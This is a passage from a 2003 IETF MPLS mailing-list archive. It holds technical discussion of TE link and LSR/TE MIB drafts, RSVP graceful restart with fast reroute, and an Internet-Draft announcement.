"Sudheer Dharanikota" <sudheer@ieee.org>; "Jonathan Lang" <jplang@ieee.org>;
"Loa Andersson" <loa@pi.se>; "Mpls (E-mail)" <mpls@uu.net>
Sent: Wednesday, October 22, 2003 2:01 PM
Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt


Great.  In that case why have redundant objects at all?

-Dave

> -----Original Message-----
> From: Martin Dubuc [mailto:dubuc.consulting@rogers.com]
> Sent: Wednesday, October 22, 2003 4:32 AM
> To: Dave Thaler
> Cc: Thomas Nadeau; Bert Wijnen; Sudheer Dharanikota; Jonathan Lang;
> Loa Andersson; Mpls (E-mail)
> Subject: Re: DT's review of draft-ietf-mpls-telink-mib-04.txt
>
> Dave,
>
> The TE link MIB makes extensive use of the interface table. Our
> specification relies on this part of MIB-II.
>
> I will add text in the DESCIRPTION clause to emphasize the
> relationship between teLinkLocalIpAddr and ipAddrTable.
>
> Martin
>
> ----- Original Message -----
> From: "Dave Thaler" <dthaler@windows.microsoft.com>
> To: "Martin Dubuc" <dubuc.consulting@rogers.com>
> Cc: "Thomas Nadeau" <tnadeau@cisco.com>; "Bert Wijnen"
> <bwijnen@lucent.com>; "Sudheer Dharanikota" <sudheer@ieee.org>;
> "Jonathan Lang" <jplang@ieee.org>;
> "Loa Andersson" <loa@pi.se>
> Sent: Tuesday, October 21, 2003 4:12 PM
> Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
>
>
> > -----Original Message-----
> > From: Martin Dubuc [mailto:dubuc.consulting@rogers.com]
> [...]
> > ----- Original Message -----
> > From: "Dave Thaler" <dthaler@windows.microsoft.com>
> > To: <tnadeau@cisco.com>; "Martin Dubuc"
> > <dubuc.consulting@rogers.com>; "Wijnen, Bert (Bert)"
> > <bwijnen@lucent.com>; <sudheer@ieee.org>; <jplang@ieee.org>
> > Sent: Monday, October 06, 2003 10:11 PM
> > Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
> >
> >
> > Sorry for the delay, but I've been reading a bunch of relevant
> documents
> > so I can help resolve the issue.  Besides the mpls-telink-mib and
> > the tewg-mib, I've now read all of the following in entirety:
> >
> > [RFC2702] "Requirements for Traffic Engineering Over MPLS" [OSPF-TE]

> > "Traffic Engineering Extensions to OSPF Version 2" [LSP-HIER] "LSP
> > Hierarchy with Generalized MPLS TE" [BUNDLE] "Link Bundling in MPLS
> > Traffic Engineering" [GMPLS-ROUTING] "Routing Extensions in Support
> > of Generalized MPLS"
> >
> > as well as some portions of other documents such as
> > [MPLS-TE-STD-MIB] and [GMPLS-ARCH].
> >
> > Even after all that, the address model was not really cleared up for
> me.
> > [LSP-HIER], [OSPF-TE], and [BUNDLE] all contain language related to
> > the local and remote IP address.
> >
> > I'm back to my original question about:
> > > it is unclear whether the IP addresses are those used for
> > > encapsulation (i.e. like MAC addresses from the point of view of
> > > the teLink interface), or those assigned to the inside. I'm
> > > assuming the former, since the latter would definitely be
> > redundant
> > > with the inet address table like on any other interface.
> >
> > In the email below I had assumed the former.  After reading the
> > documents above, I'm more inclined to believe it's the latter. Can
> > someone confirm this?  Put another way:
> >
> > Q: If you look in the ipAddrTable for the corresponding entry for
> > the
> IP
> > address in a teLinkLocalIpAddr object on a numbered TE link, what is
> the
> > value of ipAdEntIfIndex?  What is the relationship of that interface
> to
> > the TE link?
> > (e.g. in the example on page 12, is it the ifIndex of the mpls
> > interface, the teLink interface, or the opticalTransport interface?

> > Previously I had assumed the answer would be the opticalTransport
> > interface, but
> now
> > I'm more inclined to believe it's one of the others in which case
> > Thomas' summary of my misunderstanding below would be more or less
> > accurate. In any case, none of the documents listed above give a
> > clear answer to this question.)
> >
> > [Martin] You are right, it is the latter. The IP address is the IP
> address
> > of
> > the teLink interface. It is redundant with ipAddrTable, but we would
> like
> > not
> > to have to rely on the presence of ipAddrTable to get access to this

> > information.
>
> Martin, thanks much for the confirmation.  I'm curious about your last

> statement though.  Are you concerned about implementing this MIB on
> systems which do not implement MIB-II?
>
> If you do need redundant objects for some reason, then it would be
> good for the DESCRIPTION clause to mention that it is in fact
> redundant, so implementers can ensure both objects have the same
> value.
>
> -Dave



From owner-mpls@UU.NET  Thu Oct 23 10:46:37 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA26795
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 10:46:36 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqx08751
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 14:46:45 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplqx08163;
	Thu, 23 Oct 2003 14:46:30 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplqv11267
	for mpls-outgoing; Thu, 23 Oct 2003 14:29:06 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQplqv11248
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 14:29:01 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQplqv00689
	for <mpls@uu.net>; Thu, 23 Oct 2003 14:28:09 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqv14737
	for <mpls@uu.net>; Thu, 23 Oct 2003 14:28:08 GMT
Received: from moutng.kundenserver.de by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: moutng.kundenserver.de [212.227.126.187])
	id QQplqv14717
	for <mpls@uu.net>; Thu, 23 Oct 2003 14:28:08 GMT
Received: from [212.227.126.206] (helo=mrelayng.kundenserver.de)
	by moutng.kundenserver.de with esmtp (Exim 3.35 #1)
	id 1ACgRb-0006KS-00
	for mpls@uu.net; Thu, 23 Oct 2003 16:28:07 +0200
Received: from [80.139.7.167] (helo=192.168.1.3)
	by mrelayng.kundenserver.de with asmtp (TLSv1:RC4-MD5:128)
	(Exim 3.35 #1)
	id 1ACgRZ-0007SD-00
	for mpls@UU.NET; Thu, 23 Oct 2003 16:28:06 +0200
From: Stefan Winter <mail@stefan-winter.de>
To: mpls@UU.NET
Subject: error still not corrected in draft-ietf-mpls-lsr-mib-13.txt
Date: Thu, 23 Oct 2003 16:27:34 +0200
User-Agent: KMail/1.5.4
References: <200310231337.JAA19737@ietf.org>
In-Reply-To: <200310231337.JAA19737@ietf.org>
MIME-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
Message-Id: <200310231627.35114.mail@stefan-winter.de>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: quoted-printable

Hi all,

according to the announcement, a new version of the LSR MIB Definitions is=
=20
out. After having a look at the file, it seems that an issue I had pointed=
=20
out is still not corrected in the draft, please see mail
http://cell.onecall.net/mhonarc/mpls/2003-Sep/msg00055.html
for details about the issue (it is useless having AdminStatus in mplsXCTabl=
e=20
write-protected when the RowStatus is active). At that time, it was agreed=
=20
that the RowStatus definition in mplsXCRowStatus needs an update, see
Mr. Nadeau=B4s follow-up message to the above mail.
I=B4d really appreciate it if that table had a usable AdminStatus.=20
Oh, and while we=B4re at it, there=B4s a spelling mistake in DESC of=20
mplsLabelStackLabel, it should read "The label to push", not "pushed".

Greetings,

Stefan Winter



From owner-mpls@UU.NET  Thu Oct 23 10:52:03 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27080
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 10:52:03 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqx17734
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 14:52:12 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplqx17301;
	Thu, 23 Oct 2003 14:51:59 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplqw11599
	for mpls-outgoing; Thu, 23 Oct 2003 14:32:46 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQplqw11593
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 14:32:40 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplqv08061
	for <mpls@UU.NET>; Thu, 23 Oct 2003 14:24:50 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqv18388
	for <mpls@UU.NET>; Thu, 23 Oct 2003 14:24:50 GMT
Received: from tiger.seabridge.co.il by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [212.25.127.226])
	id QQplqv18361
	for <mpls@UU.NET>; Thu, 23 Oct 2003 14:24:49 GMT
Received: by tiger.seabridge.co.il with Internet Mail Service (5.5.2653.19)
	id <V1ZDDKA2>; Thu, 23 Oct 2003 16:24:57 +0200
Message-ID: <C87E5A01714C7840B92CDED9E79329CA0117D067@leopard.seabridge.co.il>
From: Nurit Sprecher <nurit.sprecher@SeabridgeNetworks.com>
To: "'Reshad Rahman'" <rrahman@cisco.com>,
        Nurit Sprecher
	 <nurit.sprecher@SeabridgeNetworks.com>
Cc: "'ancaz@cisco.com'" <ancaz@cisco.com>,
        "'jisrar@cisco.com'"
	 <jisrar@cisco.com>,
        "'mpls@uu.net'" <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>
Subject: RE: RSVP Graceful Restart
Date: Thu, 23 Oct 2003 16:24:55 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Thanks for responding me. I am glad to see a (in the way) standard for the
Ingress recovery.
Regarding the FRR and Graceful restart I am not sure that the protocol
should not be modified. I'll investigate the issue next week and let you
know. But for sure an informational section should be applied.
Best regards, Nurit.

-----Original Message-----
From: Reshad Rahman [mailto:rrahman@cisco.com]
Sent: Thursday, October 23, 2003 02:21
To: Nurit Sprecher
Cc: 'ancaz@cisco.com'; 'jisrar@cisco.com'; 'mpls@uu.net';
'ccamp@ops.ietf.org'
Subject: Re: RSVP Graceful Restart

Nurit Sprecher wrote:

>Hi,
>I did not have the chance yet to read the draft, but I really believe there
>is a need to extend the general description in the GMPL document.
>I hope that you new definition for the ERO recovery would help also to let
>the Ingress LER to recover.
>

Hi,

Yes, this will also let the ingress recover the ERO.

>
>One more thing that I would like to see in the extension, is how graceful
>restart works together with Fast Reroute Protection. Specifically the
>problematic points are the MP and the PLR. Do you have any intention to
>cover it as well?
>
Regarding GR + FRR, we currently believe that an informational section
would be sufficient, i.e. no need for protocol extensions.

Regards,
Reshad.

>
>Thanks in advance, Nurit.
> 
>


From owner-mpls@UU.NET  Thu Oct 23 11:02:17 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA27789
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 11:02:17 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqy18636
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 15:02:26 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplqy18418;
	Thu, 23 Oct 2003 15:02:19 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplqw12292
	for mpls-outgoing; Thu, 23 Oct 2003 14:43:26 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQplqw12287
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 14:43:22 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplqw18344
	for <mpls@uu.net>; Thu, 23 Oct 2003 14:34:42 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqw03050
	for <mpls@uu.net>; Thu, 23 Oct 2003 14:34:41 GMT
Received: from moutng.kundenserver.de by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: moutng.kundenserver.de [212.227.126.177])
	id QQplqw03027
	for <mpls@uu.net>; Thu, 23 Oct 2003 14:34:40 GMT
Received: from [212.227.126.206] (helo=mrelayng.kundenserver.de)
	by moutng.kundenserver.de with esmtp (Exim 3.35 #1)
	id 1ACgXw-0006h5-00
	for mpls@uu.net; Thu, 23 Oct 2003 16:34:40 +0200
Received: from [80.139.7.167] (helo=192.168.1.3)
	by mrelayng.kundenserver.de with asmtp (TLSv1:RC4-MD5:128)
	(Exim 3.35 #1)
	id 1ACgXw-0000ft-00
	for mpls@UU.NET; Thu, 23 Oct 2003 16:34:40 +0200
From: Stefan Winter <mail@stefan-winter.de>
To: mpls@UU.NET
Subject: error not really corrected draft-ietf-mpls-te-mib-13.txt
Date: Thu, 23 Oct 2003 16:34:09 +0200
User-Agent: KMail/1.5.4
References: <200310231338.JAA19769@ietf.org>
In-Reply-To: <200310231338.JAA19769@ietf.org>
MIME-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Message-Id: <200310231634.09016.mail@stefan-winter.de>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi again,

a look at the new draft of draft-ietf-mpls-te-mib-13.txt shows that an issue 
pointed out some time ago about the DESC of mplsTunnelHopPathOptionIndex and 
mplsTunnelHopIndex resulted in amodification of the definition, but it did 
not solve the problem.
See the current (v13) definition:

mplsTunnelHopPathOptionIndex OBJECT-TYPE
   SYNTAX        MplsPathIndex
   MAX-ACCESS    not-accessible
   STATUS        current
   DESCRIPTION
        "Tertiary index into this table identifying a
          particular group of hops representing a particular
          configured path. This is otherwise known as a path
          option."
   ::= { mplsTunnelHopEntry 2 }

mplsTunnelHopIndex OBJECT-TYPE
   SYNTAX        MplsPathIndex
   MAX-ACCESS    not-accessible
   STATUS        current
   DESCRIPTION
        "Secondary index into this table identifying a
          particular hop."
   ::= { mplsTunnelHopEntry 3 }

The group of hops in mplsTunnelHopPathOptionIndex is not the tertiary but the 
secondary index into this table, and mplsTunnelHopIndex is not the secondary 
but the tertiary index.

Greetings,

Stefan Winter



From owner-mpls@UU.NET  Thu Oct 23 11:33:52 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA29619
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 11:33:51 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplra19785
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 15:34:00 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplra19631;
	Thu, 23 Oct 2003 15:33:54 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplqz05444
	for mpls-outgoing; Thu, 23 Oct 2003 15:16:46 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQplqz05439
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 15:16:40 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplqy16001
	for <mpls@UU.NET>; Thu, 23 Oct 2003 15:14:14 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqy04534
	for <mpls@UU.NET>; Thu, 23 Oct 2003 15:14:13 GMT
Received: from tiger.seabridge.co.il by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [212.25.127.226])
	id QQplqy04510
	for <mpls@UU.NET>; Thu, 23 Oct 2003 15:14:12 GMT
Received: by tiger.seabridge.co.il with Internet Mail Service (5.5.2653.19)
	id <V1ZDDKG0>; Thu, 23 Oct 2003 17:14:25 +0200
Message-ID: <C87E5A01714C7840B92CDED9E79329CA0117D06B@leopard.seabridge.co.il>
From: Nurit Sprecher <nurit.sprecher@SeabridgeNetworks.com>
To: "'Nic Neate'" <Nic.Neate@dataconnection.com>,
        Nurit Sprecher
	 <nurit.sprecher@SeabridgeNetworks.com>,
        "'ancaz@cisco.com'"
	 <ancaz@cisco.com>,
        "'rrahman@cisco.com'" <rrahman@cisco.com>,
        "'jisrar@cisco.com'" <jisrar@cisco.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'"
	 <ccamp@ops.ietf.org>,
        Ilan Barda <ilan.barda@SeabridgeNetworks.com>,
        Guy Attar <guy.attar@SeabridgeNetworks.com>
Subject: RE: RSVP Graceful Restart
Date: Thu, 23 Oct 2003 17:13:26 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="windows-1255"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi all,
We are in Seabridge are very interesting in such a solution. The FRR
mechanism is described in the MPLS WG. There is a very general description
in the GMPLS document (in the CCAMP WG) on the graceful restart procedure.
Unfortunately these two mechanisms do not work 'so good' together in the
same network. 
We would like to see a standard document, supplying a mechanism to support
both mechanisms together in the same network and let them work correctly. We
hope that the IETF will cover the issue.
Nurit.


 -----Original Message-----
From: 	Nic Neate [mailto:Nic.Neate@dataconnection.com] 
Sent:	Wednesday, October 22, 2003 17:41
To:	Seabridge - Nurit Sprecher; 'ancaz@cisco.com'; 'rrahman@cisco.com';
'jisrar@cisco.com'
Cc:	'mpls@uu.net'; 'ccamp@ops.ietf.org'
Subject:	RE: RSVP Graceful Restart

All,

Together with some colleagues at Data Connection, I have done some work
looking at how GMPLS Restart could work with RSVP Fast Reroute LSPs.  While
Restart was originally intended as a recovery mechanism for optical networks
and Fast Reroute more as a packet network protection scheme, they do both
provide data traffic preservation mechanisms that could be usefully deployed
in the same network.  We'd be interested in working with anyone looking at
progressing a solution for this.

There are various complications in recovering RSVP state when a node
supporting backup LSPs restarts, in particular following a failure of the
upstream or downstream protected LSP.  New mechanisms will be required to
reconstruct the FAST_REROUTE, DETOUR, ERO, RRO, SENDER_TSPEC, FLOWSPEC and
SESSION_ATTRIBUTES objects.

Again, we've got some ideas on this.  What is the general level of interest
in this area?

Nic

-----Original Message-----
From: Seabridge - Nurit Sprecher
Sent: Wednesday, October 22, 2003 10:43 AM
To: 'ancaz@cisco.com'; 'rrahman@cisco.com'; 'jisrar@cisco.com'
Cc: 'mpls@uu.net'; 'ccamp@ops.ietf.org'
Subject: RSVP Graceful Restart


Hi,
I did not have the chance yet to read the draft, but I really believe there
is a need to extend the general description in the GMPL document.
I hope that you new definition for the ERO recovery would help also to let
the Ingress LER to recover.

One more thing that I would like to see in the extension, is how graceful
restart works together with Fast Reroute Protection. Specifically the
problematic points are the MP and the PLR. Do you have any intention to
cover it as well?

Thanks in advance, Nurit.


From owner-mpls@UU.NET  Thu Oct 23 11:58:50 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA02284
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 11:58:49 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplrb24189
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 15:58:59 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplrb24071;
	Thu, 23 Oct 2003 15:58:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplra07621
	for mpls-outgoing; Thu, 23 Oct 2003 15:44:25 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplra07602
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 15:44:14 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplra16134
	for <mpls@uu.net>; Thu, 23 Oct 2003 15:43:42 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplra14651
	for <mpls@uu.net>; Thu, 23 Oct 2003 15:43:41 GMT
Received: from sj-iport-4.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
	id QQplra14640
	for <mpls@uu.net>; Thu, 23 Oct 2003 15:43:41 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9NFhbN0014660
	for <mpls@uu.net>; Thu, 23 Oct 2003 11:43:37 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADK19787;
	Thu, 23 Oct 2003 11:43:37 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9NFhbi15023 for mpls@uu.net; Thu, 23 Oct 2003 11:43:37 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQplra07478
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 15:41:56 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplra16855
	for <mpls@uu.net>; Thu, 23 Oct 2003 15:33:55 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplra19658
	for <mpls@uu.net>; Thu, 23 Oct 2003 15:33:55 GMT
Received: from ietf.org by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQplra19635
	for <mpls@uu.net>; Thu, 23 Oct 2003 15:33:54 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA29591;
	Thu, 23 Oct 2003 11:33:42 -0400 (EDT)
Message-Id: <200310231533.LAA29591@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-hpark-hybrid-forwarding-00.txt
Date: Thu, 23 Oct 2003 11:33:42 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Hybrid data forwarding for Economy Class Services in MPLS
	Author(s)	: H. Park, K. Lee, S. Yang
	Filename	: draft-hpark-hybrid-forwarding-00.txt
	Pages		: 0
	Date		: 2003-10-23
	
This document describes the efficient mechanism to set up and maintain the   LSP for the economy class services (called ES-LSP: Economy class Services LSP). The mechanism is to reduce the overload of MPLS networks and to continue the economy class services when the ES-LSP is failed.

There are two parts to fulfill this mechanism. Firstly, it is to   minimize the information to establish and to keep the ES-LSP. Secondly, in this mechanism, the nodes adjacent to the failure point may switch over the data packet to IP forwarding instead of MPLS label swapping. On the other hand, the adjacent nodes switch over the data packets to the label swapping of MPLS at the restoration of the failure. However, in general, the ES-LSP session is withdrawn, the ES-LSP itself is reestablished into the different route or the ES is discontinued by the ES-LSP failure[1]. Thus, for the service continuity of the failed ES-LSP, this mechanism uses the hybrid data forwarding of MPLS label swapping and IP forwarding.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-hpark-hybrid-forwarding-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-hpark-hybrid-forwarding-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-hpark-hybrid-forwarding-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-23112016.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-hpark-hybrid-forwarding-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-hpark-hybrid-forwarding-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-23112016.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Fri Oct 24 11:18:13 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08208
	for <mpls-archive@lists.ietf.org>; Fri, 24 Oct 2003 11:18:12 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplur12675
	for <mpls-archive@lists.ietf.org>; Fri, 24 Oct 2003 15:18:21 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplur12401;
	Fri, 24 Oct 2003 15:18:13 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplup28500
	for mpls-outgoing; Fri, 24 Oct 2003 14:57:17 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQplup28495
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 24 Oct 2003 14:57:14 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplup21805
	for <mpls@uu.net>; Fri, 24 Oct 2003 14:56:28 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplup04653
	for <mpls@uu.net>; Fri, 24 Oct 2003 14:56:27 GMT
Received: from sj-iport-4.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
